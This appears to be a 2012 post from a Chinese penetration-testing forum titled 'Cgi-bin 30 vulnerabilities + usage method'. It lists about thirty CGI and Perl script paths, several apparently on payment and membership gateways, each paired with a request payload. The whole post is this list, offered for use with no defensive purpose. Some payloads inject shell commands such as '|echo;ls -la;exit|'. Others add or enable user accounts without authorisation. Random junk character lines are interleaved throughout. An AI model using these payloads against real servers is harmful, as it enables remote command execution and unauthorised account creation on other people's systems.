中国网络渗透测试联盟
标题:
Cgi-bin 30个漏洞＋使用方法
[打印本页]
作者:
admin
时间:
2012-9-13 16:55
标题:
Cgi-bin 30个漏洞＋使用方法
==============================
7 F+ `4 @) J. n
2 U+ o* h$ h# [4 j
/smspass.pl
8 a' t7 V) r8 ?. o/ N4 ?, s7 |# y0 j
username=username&password=password
: u: K) b8 O5 x7 w w( b
/ h8 e2 F7 x- M2 p
/index.cgi
4 o% a0 P) [, F2 I2 P9 b
wei=ren&gen=command
) O) [2 Y. y1 l9 ?
5 @! @! C5 K; \& Y7 b
/passmaster.cgi
8 _9 z; r ^- m6 D& L5 a& v
Action=Add&Username=Username&Password=Password
& z+ R* w$ c! b& M# s
! w! Q, J" n0 m0 k! X
/accountcreate.cgi
8 V% N, Y; u/ B! J5 T
username=username&password=password&ref1=|echo;ls|
- u4 K3 ]- l* }( L; H/ M5 h
! q3 T. h7 }5 c% j j* j
/form.cgi
) P0 q2 a6 `, A- T! {, t6 t% s
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
" E, g! V2 S( ~) D$ t) m& j
7 n& y- m7 E- f! x4 w
/addusr.pl
. ^) ?7 l9 X5 _! d" B& j
/cgi-bin/EuroDebit/addusr.pl
/ q% C+ f0 h" ^3 Z. G2 k; A+ _
user=username&pass=Password&confirm=Password
! J5 S/ r* m7 E) Z8 C
: V4 |1 q% Z, D9 m6 i
/ccbill-local.asp
1 n8 h- [5 _7 {' [8 r
post_values=username:password
4 M$ h0 z* D3 r% O# }. _
: k. C$ x8 g) c! v& u; D9 ]* W
/count.cgi
% P) {( U& [% F& v7 J1 d
pinfile=|echo;ls -la;exit|
9 t/ R( F% T7 V# o* D% G8 k
* r+ A) U. q4 B
/recon.cgi
) I& j$ e/ y, D. q z( x
/recon.cgi?search
4 l/ M5 ]& _/ x& ?7 G
searchoption=1&searchfor=|echo;ls -al;exit|
2 @, k2 p9 a: B' b2 C( u2 q3 ?) V# e
0 f( F0 x x" q* d
/verotelrum.pl
! z j/ f6 \5 u0 P3 b
vercode=username:password:dseegsow:add:amount<&30>
) M/ I+ A; |- s- K. O& L- p
& q7 k' H8 L1 j4 `4 q6 c0 F+ F, b% v
/af.cgi
- P6 \2 l- @0 N: H9 z; R
_browser_out=|echo;ls -la;exit;|
2 ]% C# V) N7 v& y
2 ^& K) J1 G& @% y/ @# o3 Q
/modify.cgi
k: n3 J& O3 K% [& E: G( B
username=username&password=password&expire=30
+ S; b$ u/ ?4 {( n0 k7 [- q
3 B i! c' Z* l7 M6 J
/openjournal.cgi
& q7 L8 d3 I0 ~" @7 I! C2 w
edit=1&ct=2&go=|echo;ls -al;exit|
/ ~: w$ m2 h+ } L
7 @0 \6 r$ B. A
/gx9passwd.cgi
7 _8 O; ~% ?" G
cmd=ADD&user=username&pass=password
, n& F' d# ?; p3 z6 a, k7 z
- k" D4 p$ h' f5 f
/probecontrol.cgi
) Q: F" B: a5 |1 V0 P, @7 N
command=enable&username=username&password=password
+ p; ]+ g* }7 R# B
6 m6 V: V( g! J8 \8 l# Z) ]
/recon.cgi
2 ~+ z# O9 O, o
searchoption=3&searchfor=echo;ls -la;exit
, v s( ]/ g) E- I+ z
& R' H$ {& [) A+ [; g0 q0 C
/htadd.pl
) Z! c, N" M; j. I& l) R s
configfile=|echo; ls -alt; exit
0 M0 q* M+ h( O
8 }" @" Y+ k* O! Y1 s
/gx9passwd.cgi
9 G9 M) C: C8 q1 L. T
cmd=ADD&user=username&pass=password
0 X f1 g& V4 s6 i! E# m
; f6 \2 s% W$ N5 J) S$ d. `
/ibill*.pl
* s `7 M+ v+ x) f2 f, G
reqtype=add&authpwd=authpwd&username=username&password=password
6 B6 ?& z0 [/ l9 v, x
; h' q5 \$ o7 C o- {9 {( d
/cpay.cgi
( C; j) ~$ T/ D
command=add_member&username=username(EMAIL)&password=password(DES)
. t3 c* o# |1 D0 g1 Y+ ^
& [4 R# Q; q) T4 @% E( v( I
/globill_ut.cgi
! e$ u4 ~5 D. S' {: x$ X
do=add&username=username&password=password&wpassword=password
2 {; U/ K2 u* U
: \) o9 ^. A. E1 _
/usercontrol.cgi
/ s# ~) q# Y7 ~5 r8 ]
command=enable&username=USER&password=PASS
+ T1 F3 L& z+ u- b& \8 Y1 X& H
2 m- x/ F/ w2 J e9 r5 I
/globoSALErum.cgi
9 n" f8 i, }" r& ?
action=ADD&seccode=seccode&login=username&password=password
! Z4 [3 C! k2 k+ x" X2 P
/ v8 a. Y7 M3 N# o+ z1 ^
/addusr.pl
7 t& e# Q! v- p) _, {* U4 `
user=USER&pass=PASS&confirm=PASS
0 f5 i2 W! b+ m/ G! H0 q" E( c
0 l; R( W1 A, S8 x/ v/ C
/pincount.cgi
( p& S p- [: |' O0 g* t/ _) N
/cgi-bin/mastergate/pincount.cgi
0 l Z3 E$ c* {; L! c( W
pinfile=|echo;pwd;exit|
$ Q% e+ s C0 e5 C7 k5 }/ X% C
2 E2 e/ V7 G* q7 G0 J5 ? [ q
/accountcreate.cgi
1 q5 g4 P% x4 v+ `' f8 y% H
/cgi-bin/gateway/accountcreate.cgi
. z. j" C; f0 i; w8 k$ M v* A
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
1 h- e; @5 m- {
! K) O" l1 x5 c8 ?6 e8 V
/af.cgi
$ t9 c- [, C& U. x- A
/env.cgi
0 ?5 C- a: `8 C- Z% L
ADD+;echo;pwd;exit
# s4 Z) ^& C/ n6 {8 e5 U( l5 @* K) ^* N
: Q7 b: }; z4 R. k8 s$ C( [2 q
/count.cgi
, [4 l4 B& {9 q0 B! U1 @; ^7 C S- S' @
pinfile=|echo;pwd;exit|
* L' U+ J* u! a6 ~
% {- |6 H& o, E. A
/recon.cgi
$ H5 j' f) E, W! K9 r
searchoption=1&searchfor=|echo;ls%20-al;exit|
( c$ l2 p% @. G2 S8 V B/ F& I+ P
( K# ~7 W4 y8 a$ Q
/add.cgi
+ l/ I9 y( k% x7 y: M' |: E2 _
username=username&password=password&expire=30
: f" i9 C" P& h' G3 \% Y
" d. o2 A5 s) ^
==============================
3 E6 @3 Y5 p0 ~$ P+ W8 D
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2